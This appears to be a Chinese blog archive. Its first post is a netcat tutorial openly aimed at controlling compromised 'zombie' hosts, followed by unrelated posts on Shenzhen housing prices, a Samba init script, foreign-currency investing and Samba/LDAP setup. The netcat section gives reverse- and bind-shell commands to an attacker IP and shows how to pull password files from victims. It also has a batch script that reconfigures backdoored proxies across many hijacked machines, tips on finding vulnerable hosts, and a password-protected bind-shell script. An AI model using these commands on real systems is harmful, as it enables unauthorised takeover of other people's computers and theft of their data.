2007年2月26日星期一

NC的使用教程

本文作者:不詳
文章出處:不詳
文章性質:轉載
閱讀次數:270
發佈日期:2005-12-19


作者:蔡益浩 來源:www.caiyihao.com
文章結構:

  0. 寫在前面的話
  1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
  2. Netcat 1.10 for NT 幫助信息
  3. Netcat 1.10 常用的命令格式
  4. 管理肉雞,更改肉雞設置
  5. 下載連接
  6. 後記

########################################
0. 寫在前面的話
########################################

  最近工作比較空閒,老是想著怎麼自動telnet肉雞,自動執行命令。來管理自己的肉雞。自己寫一個程序。功底是不夠的,所以只有看了看nc的幫助信息,雖然只看了個半懂,但是借助於金山詞霸2002版本, 還是明白了一點東西.

  我覺的有必要再總結一下.反正主要是滿足我自己的需要.


########################################
1. Netcat 1.10 for NT - nc11nt.zip
########################################

Basic Features

* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder

New for NT

* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:

Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections

Some of the potential uses of netcat:

Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with

Netcat + Encryption = Cryptcat


  對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.1.1 NC.EXE是一個非標準的telnet客戶端程序,1.2 還有一個putty.exe客戶端程序,提供四種連接模式
-raw -telnet -rlogin -ssh.


########################################
2. Netcat 1.10 for NT 幫助信息
########################################

C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本幫助信息)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待連接)
-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex dump of traffic (十六進制模式輸出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (隨機本地遠程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃瞄模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]


########################################
3. Netcat 1.10 常用的命令格式
########################################

  下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。

3.1.端口的刺探:

nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open


3.2.掃瞄器

nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port

  這樣掃瞄會留下大量的痕跡,系統管理員會額外小心。

3.3. 後門

victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。


3.4.反向連接
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port

或者:

attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2


  139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先於NETBIOS。

3.5.傳送文件:

3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port < path\filedest     /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.

3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt      /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.


  結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.

  問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .或者只有再次連接使用pskill.exe 殺掉進答漸y柄了?

3.6 端口數據抓包.

nc -vv -w 2 -o test.txt xfocus.net 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....


3.7 telnet,自動批處理。 ★★★★★我要重點推薦的東西就是這個.

nc victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.

nc -d victim_ip port < path\file.cmd 安靜模式.

_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________


########################################
4. 管理肉雞,更改肉雞設置
########################################

4.1 比如要統一更改肉雞上面的代理端口.snake.exe 修改為11111 服務名稱"sksockserver",使用winshell後門. 端口1234 密碼password

命令格式就是:

modi.bat youip.txt

___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END

:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd

:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)

:END
___________modi.bat__END_______________________


4.2
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start


  把防火牆關掉以後運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃瞄你的。這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.

  肉雞特徵:

  1。unicode漏洞
  2。guest密碼為空,administrators組用戶
  3。其他漏洞

  自己慢慢的爽去吧。不過,再次強調一句,不建議而且是不能破壞國內主機,上去以後將tftp.exe改名。然後用pskill幹掉mmc.exe進程,之後是殺毒。做好後門以後,將guest帳號停用,以對付傻瓜掃瞄器


########################################
5. 下載連接
########################################

http://www.coolersky.com/Download/Hacker/Back-door/nc.rar


########################################
6. 補充
########################################

以下為NetCat的Unix版本使用方法(轉載):
http://www.xfocus.net/articles/200103/88.html

--------------------------------------
nc使用技巧

by quack

http://www.xfocus.org ;安全焦點

  nc這個小玩意兒應該大家耳熟能詳,也用了N年了吧……這裡不多講廢話,結合一些script說說它的使用技巧。


(文中所舉的script都來自於nc110.tgz的文件包)


一、基本使用:

Quack# nc -h
[v1.10]
  想要連接到某處: nc [-options] hostname port[s] [ports] ...
  綁定端口等待連接:   nc -l -p port [-options] [hostname] [port]
  參數:
    -e prog         程序重定向,一旦連接,就執行 [危險!!]
    -g gateway       source-routing hop point[s], up to 8
    -G num         source-routing pointer: 4, 8, 12, ...
    -h           幫助信息
    -i secs         延時的間隔
    -l           監聽模式,用於入站連接
    -n           指定數字的IP地址,不能用hostname
    -o file         記錄16進制的傳輸
    -p port         本地端口號
    -r           任意指定本地及遠程端口
    -s addr         本地源地址
    -u           UDP模式
    -v           詳細輸出——用兩個-v可得到更詳細的內容
    -w secs         timeout的時間
    -z           將輸入輸出關掉——用於掃瞄時


  其中端口號可以指定一個或者用lo-hi式的指定範圍。


二、用於傳輸文件——ncp

#! /bin/sh
## 類似於rcp,但是是用netcat在高端口做的
## 在接收文件的機器上做"ncp targetfile"
## 在發送文件的機器上做"ncp sourcefile receivinghost"
## 如果調用了 "nzp" ,會將傳輸文件壓縮

## 這裡定義你想使用的端口,可以自由選擇
MYPORT=23456

## 如果nc沒有在系統路徑中的話,要把下面一行註釋去掉,加以修改
# PATH=$:$ ; export PATH

## 下面這幾行檢查參數輸入情況:

test "" && echo "too many args" && exit 1
test ! "" && echo "no args?" && exit 1
me=`echo | sed 's+.*/++'`
test "$me" = "nzp" && echo '[compressed mode]'

# if second arg, it's a host to send an [extant] file to.
if test "" ; then
test ! -f "" && echo "can't find " && exit 1
if test "$me" = "nzp" ; then
  compress -c < "" | nc -v -w 2 $MYPORT && exit 0
else
  nc -v -w 2 $MYPORT < "" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi

# 是否在接收文件機器當前目錄有同名文件

if test -f "" ; then
echo -n "Overwrite ? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意這裡nc的用法,結合了重定向符號和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, is already trashed
rm -f ""
exit 1

這樣的話,我只要在A機器上先 QuackA# ncp ../abcd
listening on 然後在另一台機器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A機上出現
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#

  查看一下,文件傳輸完畢。


三、用於綁定端口——bsh

  首先要清楚,如果你編譯netcat時僅用如make freebsd之類的命令來編譯的話,這個工具是無法利用的——要define一個GAPING_SECURITY_HOLE它才會提供-e選項。

#! /bin/sh
## 一個利用nc的綁定shell並且帶有密碼保護的腳本
## 帶有一個參數,即端口號

NC=nc

case "" in
?* )
LPN=""
export LPN
sleep 1
#注意這裡nc的用法,參數-l是lister,-e是執行重定向
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac

# here we play inetd
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &

while read qq ; do
case "$qq" in
# 這裡就是弱密碼保護了,密碼是quack
quack )
cd /
exec csh -i
;;
esac
done

要看看它是怎麼使用的麼?

quack# ./bsh 6666 <-------輸入,後面是程序輸出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------輸入
-l -p 6666 -e ./bsh
quack  <----------輸入,密碼驗證
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#


四、 用於端口掃瞄——probe

  在我們常見的一些端口掃瞄程序中,如Vetescan這類以shell script寫成的話,很多都需要系統中裝有netcat,原因何在呢?看看下面的script,你或許會明白一些。

#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!

# 該目錄裡有一些小工具
DDIR=../data
# 指定網關
GATE=192.157.69.11

# might conceivably wanna change this for different run styles
UCMD='nc -v -w 8'

test ! "" && echo Needs victim arg && exit 1

echo '' | $UCMD -w 9 -r "" 13 79 6667 2>&1
echo '0' | $UCMD "" 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意這裡的用法,其實nc的這些參數掌握好可以做很多事情
$UCMD -z -r -g $GATE "" 6473 2>&1
$UCMD -r -z "" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "" 7 19 2>&1
echo '113,10158' | $UCMD -p 10158 "" 113 2>&1
rservice bin bin | $UCMD -p 1019 "" shell 2>&1
echo QUIT | $UCMD -w 8 -r "" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ''
echo PASV | $UCMD -r "" 21 2>&1
echo 'GET /' | $UCMD -w 10 "" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什麼文件麼?;)
echo 'GET /robots.txt' | $UCMD -w 10 "" 80 2>&1
# now the big red lights go on
# 利用小工具rservice來嘗試,該工具可以在nc110.tgz的data目錄裡找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "" login 2>&1
rservice root root | $UCMD -r "" exec 2>&1
echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
data -g < $/nfs-0.d | $UCMD -i 1 -u "" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo 'END big udp'
$UCMD -r -z "" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe for portmap first
if nc -w 5 -z -u "" 111 ; then
showmount -e "" 2>&1 #象showmount和rpcinfo的使用,可能會被逮到;)
rpcinfo -p "" 2>&1
fi
exit 0


  感覺也沒什麼好說的,腳本本身說明了一切。當然像上面的腳本只是示範性的例子,真正地使用時,這樣掃瞄會留下大量的痕跡,系統管理員會額外小心;)

  多試試,多想想,可能你可以用它來做更多事情——你可以參見nc110.tgz裡script目錄下的那些腳本,從中獲得一些思路。

开发商囤地导致深圳房价暴涨

深圳的房价又涨了!新年伊始深圳房价仍一路攀升。买房者追涨的风潮一浪高过一浪,新近推出的楼盘常常被一扫而空。


有市场分析家认为,深圳房价全面“涨停”,并不是深圳没有土地供建商品房,而是有大量的闲置土地被有背景的人霸占着却不开发。对此,一位政协委员坦言,开发商囤地严重,一直是深圳房价快速上涨的重要原因,他毫不客气地批评地方政府调控不力,并认为应该系统反思如何执行调控政策,政府应对楼价暴涨负责。


在如此严峻的房地产宏观调控形势下,深圳房价涨幅依然是居全国之首。根据国家发改委、统计局2月16日公布的调查结果,1月份,新建商品住房价格同比上涨6.1%,涨幅比上月低0.2个百分点;环比上涨0.7%,比上月高0.1个百分点。分地区看,与去年同月比,深圳、北京、福州和广州等城市涨幅较大,其中深圳上涨10.2%,北京9.9%。


有业内人士透露,与往年相比,现在每周新开盘的项目已经大大减少,从而会进一步推动楼价暴涨。有背景的发展商垄断土地现象在深圳比较严重,地方土地执法部门根本没有能力收回,这也是行业内公开的秘密。


就在春节前夕,深圳市规划局一位官员透露,深圳全市目前约有20平方公里闲置土地,其中也包括部分房地产用地。这20平方公里的闲置土地已相当于深圳近年来每年新批准的建设用地总量。


据了解,已出让用地闲置两年以上将被收回,不但在国家土地管理法规中早有规定,也是国家及地方历次房地产调控政策出炉时强调的重点,但多年以来,深圳并未收回几宗此类土地。对此,业内人士透露,很多敢于囤积土地的开发商都“很有背景”,官商勾结之下,地方土地执法部门根本没有能力收回;此外,在收回闲置用地的操作层面,也缺乏技术细则,例如在时间认定方面便缺乏具体的操作细则,也是国家法规沦为一纸空文的重要原因。


近日,深圳市国土资源和房产管理局公布了2006年的工作总结与2007年的工作计划。该局透露,目前已制定了《深圳市闲置土地处置工作方案》,并初步认定了闲置土地25宗,面积74.78万平方米。另外,今年该局还将实行土地使用权出让合同验收制度,建立土地使用权出让合同执行情况监管工作的长效机制,大力开展闲置土地清理和处置工作,并积极配合省、市有关部门开展土地执法检查工作。因此,开发商囤地严重的现象在今年有望在深圳得到改观。


深圳到底有多少土地的使用权在出让后一直未能有效开发利用?如今,恐怕深圳市政府的官员们未必都清楚,一位政协委员如是说。

坎坷的samba-3源码安装二:smb脚本

#!/bin/sh

# description: Starts and stops the Samba smbd and nmbd daemons
# named this script as "smb" and put it into /etc/rc.d/init.d/
# don't forget to change it to executable file with "chmod 755 smb"
# config: /etc/samba/smb.conf
# Check that the Samba configuration file exists
[ -f /usr/local/samba/lib/smb.conf ] exit 0

start( )
{
echo -n "Starting SMB services: "
/usr/local/samba/bin/smbd -D
ERROR=$?
echo

echo -n "Starting NMB services: "
/usr/local/samba/bin/nmbd -D
ERROR2=$?
if [ $ERROR2 -ne 0 ]
then
ERROR=1
fi
echo

return $ERROR
}

stop( )
{
echo -n "Shutting down SMB services: "
/bin/kill -TERM -a smbd
ERROR=$?
echo

echo -n "Shutting down NMB services: "
/bin/kill -TERM -a nmbd
ERROR2=$?
if [ $ERROR2 -ne 0 ]
then
ERROR=1
fi
echo

return $ERROR
}

case "$1" in
start)
start
;;
stop)
stop
;;
*)
echo "Usage: $0 {startstop}"
exit 1
esac

exit $?

----------------------------------------------------------------
还有些话要说
启动
# /etc/rc.d/init.d/smb start
Starting SMB services:
Starting NMB services:
# ps ax | grep mbd
1268 ? S 0:00 /usr/local/samba/bin/smbd -D
1270 ? S 0:00 /usr/local/samba/bin/nmbd -D
1465 pts/2 S 0:00 grep mbd
关闭
# /etc/rc.d/init.d/smb stop
Shutting down SMB services:
Shutting down NMB services:
最后我们还需要把它们添加到/etc/rc.d/rcX.d 目录中去以后就可以自动启动喽
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc3.d/S35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc5.d/S35smb

# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc0.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc1.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc2.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc4.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc6.d/K35smb

2007年2月25日星期日

专家推荐外币理财六大渠道

新华网北京2月20日电(记者岳瑞芳)人民币对美元中间价近日再创汇改以来新高。面对人民币的持续升值,专家建议外币持有者谨慎选择投资渠道,应对贬值风险。

渠道一:选择存外币定期。特点是收益低,风险低。

对于想要继续持有外币,既希望保值又不愿承担太大风险的人来说,定期存款是最稳妥的了。对比人民币存款,外币存款仍有利可图。不过,持有人要注意币种。同样存一年期定期,英镑、港币、美元的利率都比人民币要高,而加拿大元、欧元、瑞士法郎、日元的利率就比不上人民币。当然,持有人也可将利率低的外币兑换成利率高的外币,在付出兑换费后享受较高的利率。

需要注意的是,现在各银行对2年期小额外币储蓄利率可自定,各银行利率有所不同,市民可“率比三家”再决定存哪家。

渠道二:炒汇。特点是收益高,风险相对较高。

目前国内炒汇有两种方式:实盘交易和外汇保证金交易。

个人实盘外汇买卖交易,如某行推出的“外汇宝”,利用国际外汇市场上外汇汇率的频繁波动,采取低买高卖的方式,在不同的货币间转换并赚取一定的汇差或利差,以达到保值、盈利的目的。外汇保证金交易,则是投资人以其存于银行的资金作为保证金质押在该银行,透过银行依其存款金额,设定一个操作外汇的信用额度,以小搏大。

这两种方法虽然收益相对高,但专业要求强,进入门槛高。

渠道三:购买外币理财产品。特点是收益稳健,风险适中。

对大多数人来说,把手中外币交给银行打理是个不错的选择。目前各家银行都推出了不少外币理财产品,收益率多在5%以上,可弥补人民币升值带来的缩水,且有所盈余。但投资者需注意选择期限较短的理财品,以规避长期来看人民币升值带来的风险。

渠道四:购买QDII(代客境外理财)理财品。特点是收益高但不确定,风险相对较高。

这种理财方式投资标的多为境外证券市场的投资品种,收益率较高但不保证收益,风险性相对高。如某行推出的“基汇宝”全部投资于海外基金,年预期收益率高达28.3%。

渠道五:投资沪深股市B股。特点是收益高,风险高。

近期股市大热,B股市场也不例外。沪市B股用美元交易,深市B股用港币交易。此前曾传出A、B股拟合并的消息,致使B股市场大涨,之后虽经辟谣后有所回落,但涨跌之间就会有赚钱机会

Samba学习笔记

Samba学习笔记
整理:Jims of 肥肥世家


Copyright © 2005 本文遵从GNU的自由文档许可证(Free Document License)的条款,欢迎转载、修改、散布。

发布时间:2005年07月08日

最新更新:2006年09月07日,增加smbfs介绍。

Abstract

Samba是Linux与Windows信息沟通的桥梁。它可使Linux系统变成Windows文件和打印服务器,供Linux用户和Windows用户共同使用。在现在Windows和Linux多操作平台共存的环境下,这种技术就更显得重要,它能帮我们实现信息的跨平台交流和平台的平稳迁移。Samba成功突破了Windows的技术封锁,是自由软件的一面旗枳和典范。


--------------------------------------------------------------------------------

Table of Contents

1. Samba基础
2. 安装配置
2.1. 服务器角色
2.2. 使用openldap目录服务进行samba用户验证
2.3. 回收站功能
3. 小技巧
List of Tables

1.1. NetBIOS节点类型
1.2. NetBIOS资源类型
1.3. NetBIOS组资源类型
Chapter 1. Samba基础
Samba是一套使用SMB/CIFS协议的Unix应用程序,通过该套程序我们可以和Windows服务器共享资源。更进一步,我们还可用Samba服务器替代Windows服务器的一些功能,如Wins,PDC等。

Samba功能介绍

在Linux下使用Windows的共享资源。

作为Windows文件服务器/打印服务器的开源替代

实现Wins服务器功能。

作为Windows环境下的PDC、BDC。

一些基本概念

节点类型----NBT网络中每台机器根据处理名称注册和解析的方式的不同,被指定为以下几种节点类型。

Table 1.1. NetBIOS节点类型

类型 描述
b-node 只使用广播方式的注册和解析。
p-node 只使用点到点的注册和解析。
m-node 先用广播方式注册,一旦成功,则将结果通知NBNS服务器。使用广播方式解析,如果不成功,则使用NBNS服务器。
h-node 使用NBNS服务器进行注册和解析,如果NBNS服务器没有响应或不能操作,则使用广播方式。

Windows系统多数使用b-node或h-node节点类型,h-node提供了更强大的容错能力。用ipconfig/all查询Node Type属性就可知道当前系统的节点类型。

NetBIOS不仅能通告自已的存在,还能告诉其它机器自已能提供的资源类型。下面是一个资源类型的列表。

Table 1.2. NetBIOS资源类型

资源类型 值
标准工作站服务 00
消息服务(WinPopup) 03
RAS服务器服务 06
域主浏览器服务 1B
主浏览器名称 1D
NetDDE服务 1F
文件服务器/打印服务器 20
RAS客户机服务 21
网络监视代理 BE
网络监视工具 BF

网上的机器还可以划分成不同的工作组,下面是NetBIOS的组资源类型。

Table 1.3. NetBIOS组资源类型

类型 描述
标准工作站组 00
登录工作站 1C
主浏览器名称 1D
通用组名称 1E
Internet名称 20
<01><02>__MSBROUSE__<02> 01

Chapter 2. 安装配置
Table of Contents

2.1. 服务器角色
2.2. 使用openldap目录服务进行samba用户验证
2.3. 回收站功能
在Debian中有现成的Samba包,用以命令即可安装,smbclient是客户端软件,用以在Linux下测试和连接samba服务器:

debian:#~ apt-get install samba smbclient

Samba的配置文件是smb.conf,如果是debian系统,则位于/etc/samba目录下,如果从源码编译安装,则位于安装目录的lib目录下。下面是一个示例:

[global]
workgroup = Samba server
server string = Samba server
netbios name = t02

;browser setup
domain master = yes
local master = yes
preferred master = yes
os level = 255

;share charset
unix charset = GB2312
display charset = GB2312
dos charset = GB2312

;security setup
security = user
encrypt passwords = yes
;smb passwd file = /usr/local/samba/private/smbpasswd
ldap admin dn = "cn=admin,dc=com"
passdb backend = ldapsam:ldap://t03
;ldap admin dn = "cn=admin,dc=com"
ldap delete dn = yes
ldap user suffix = dc=samba,dc=tiger
ldap suffix = dc=com

;log setup
log file = /usr/local/samba/var/log.%m
max log size = 50

socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192

dns proxy =no

;start wins server
wins support = yes

[homes]
comment = Home Directories
veto files = /.*/
browseable = no
writable = yes

[linux-app]
comment = share the Linux application software
path = /data/linapp
case sensitive = no
follow symlinks = no
writable = yes
valid users = root +wj
create mask = 0660
directory mask = 0770

2.1. 服务器角色
Samba 3服务器可担任主域控制器、独立域服务器和域成员服务器等角色。设置方法如下:

主域控制器:

[global]
...
......
domain master = yes
preferred master = yes
domain logons = yes
security = user
......
...

使用testparm命令测试一下:

debian:~# testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_PDC #服务器角色为主域控制器
Press enter to see a dump of your service definitions
......

备份域控制器:

[global]
...
......
domain master = no
preferred master = yes
domain logons = yes
security = user
......
...


运行testparm测试一下:

testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_BDC #服务器角色为备份域控制器
Press enter to see a dump of your service definitions

独立服务器:

[global]
...
......
domain master = yes
preferred master = yes
domain logon = no
security = user
......
...

再使用testparm命令测试一下。

debian:~# testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_STANDALONE #服务器的角色为独立服务器
Press enter to see a dump of your service definitions
......

域的成员服务器:

[global]
...
......
domain master = yes
preferred master = yes
domain logon = no
security = domain
......
...

运行testparm测试一下:

Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_MEMBER #服务器的角色为域成员服务器
Press enter to see a dump of your service definitions
......

2.2. 使用openldap目录服务进行samba用户验证
samba可把用户信息存放到ldap目录服务器上,使用目录服务器上的用户数据进行用户验证。这样做的好处是:

集中存放用户信息,多台Samba服务器可共用一套用户数据。

当用户数量多时,采用ldap目录服务器可加快用户验证的速度。因为ldap目录服务是专门为读操作而优化的,搜索数据的速度是非常快的。

维护方便,可利用ldap客户端进行可视化维护,如phpldapadmin。

用户可自由更改自已的密码,而不用经过系统管理员,可大大减轻系统管理员的工作量。

要使samba能够使用ldap目录服务器作为用户验证的后台数据库,需在编译samba时选择了“--with-ldapsam”选项。在确保samba服务器和openldap服务器正常运行的前提下,进行以下配置。

要openldap能认识samba的用户信息,我们需在openldap服务器中导入samba.schema。该文件是不包含在openldap源码中的,我们可在samba源码目录中的/examples/LDAP路径中找到该文件。把它拷贝到openldap的schema目录。接着编辑slapd.conf文件,用include指令把samba.schema导入openldap。如:

# Allow LDAPv2 binds
allow bind_v2

# This is the main slapd configuration file. See slapd.conf(5) for more
# info on the configuration options.

#######################################################################
# Global Directives:

# Features to permit
#allow bind_v2

# Schema and objectClass definitions
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/nis.schema
include /etc/ldap/schema/inetorgperson.schema
include /etc/ldap/schema/samba.schema #导入samba.schema文件

重启服务器,使配置生效。

下来我们要配置samba服务器了。打开smb.conf文件,添加以下内容:

# You may wish to use password encryption. Please read ENCRYPTION.txt,
# Win95.txt and WinNT.txt in the Samba documentation. Do not enable this
# option unless you have read those documents
encrypt passwords = true
; passdb backend = smbpasswd guest #取消smbpasswd验证

ldap admin dn = "cn=admin,dc=com" #指定管理员
passdb backend = ldapsam:ldap://ldapserver #指定用户验证的ldap目录服务器
ldap user suffix = dc=samba,dc=it #用户信息存放的目录路径
ldap delete dn = no #不允许删除dn
ldap suffix = dc=com #指定搜索后缀

存盘退出,重启samba服务器。运行以下命令,把cn=admin,dc=com管理员的密码“secret”保存到secrets.tdb文件中,以便samba服务器与openldap服务器进行通信。

debian:~# smbpasswd -w secret
Setting stored password for "cn=admin,dc=com" in secrets.tdb #成功保存的提示信息

把Samba用户的验证信息存放到ldap目录服务器的方式有两种。一种是利用ldap里已有的目录项,不用另外增加一个目录项来专门存放samba用户验证信息,而是把samba用户的验证信息存放到目录服务器中同名的目录项。采用这种方式,sambaSamAccount对象类型需手工维护,当用户数量大的时候就很难保证sambaSID号码的唯一。另外一种是直接运行smbpasswd -a test命令,重新创建一个uid=test,dc=samba,dc=it,dc=com的目录项。sambaSamAccount对象类型会自动创建,sambaSID号会由程序自动维护。但如果要以uid=test,dc=samba,dc=it,dc=com登录目录服务器维护samba用户信息,则要手工添加一个simpleSecurityObject对象类型,增加userPassword属性才行。这两种方式各有优缺点,可满足不同场合的需求。第二种方式相对简单,这里就不具体介绍。下面详细介绍一下第一种方式的配置步骤。

首先,我们在ldap目录服务器上要有一个叫“cn=test,dc=samba,dc=it,dc=com”的目录项,且使用该dn能正常登录ldap目录服务器。在cn=test,dc=samba,dc=it,dc=com目录项中还要添加一个sambaSamAccount对象类型,以便smbpasswd程序写入samba帐号信息。添加该对象类型时需要填两个属性,一个是sambaSID,一个是uid,sambaSID类似Windows NT中的SID,它是以S开头一串数字,由Samba服务器的SID + UID组成。当你的samba服务器成功连接到ldap目录服务器时,它已在ldap目录服务器中自动创建一个sambaDomainName=hostname的目录项。该目录项的sambaSID就是Samba服务器的SID了,类似于S-1-5-21-3129426798-1813742091-3551573396。UID手动填一个即可,如3001。每个用户的UID都是不同的。最后的sambaSID是S-1-5-21-3129426798-1813742091-3551573396-3001。

配置完成,使用smbpasswd命令就可把用户信息保存到ldap目录服务器上了。

debian:~# smbpasswd -a test
New SMB password:
Retype new SMB password:
Added user test. #成功添加用户

用phpldapadmin以cn=test,dc=samba,dc=it,dc=com登录进ldapserver服务器,你会发现该用户添加了samba用户的验证信息。其中,uid属性记录的是samba的用户名,sambaLMPassword和sambaNTPassword两个属性分别记录了用户的加密密码资料,分别对应windows98和NT两种加密方式。

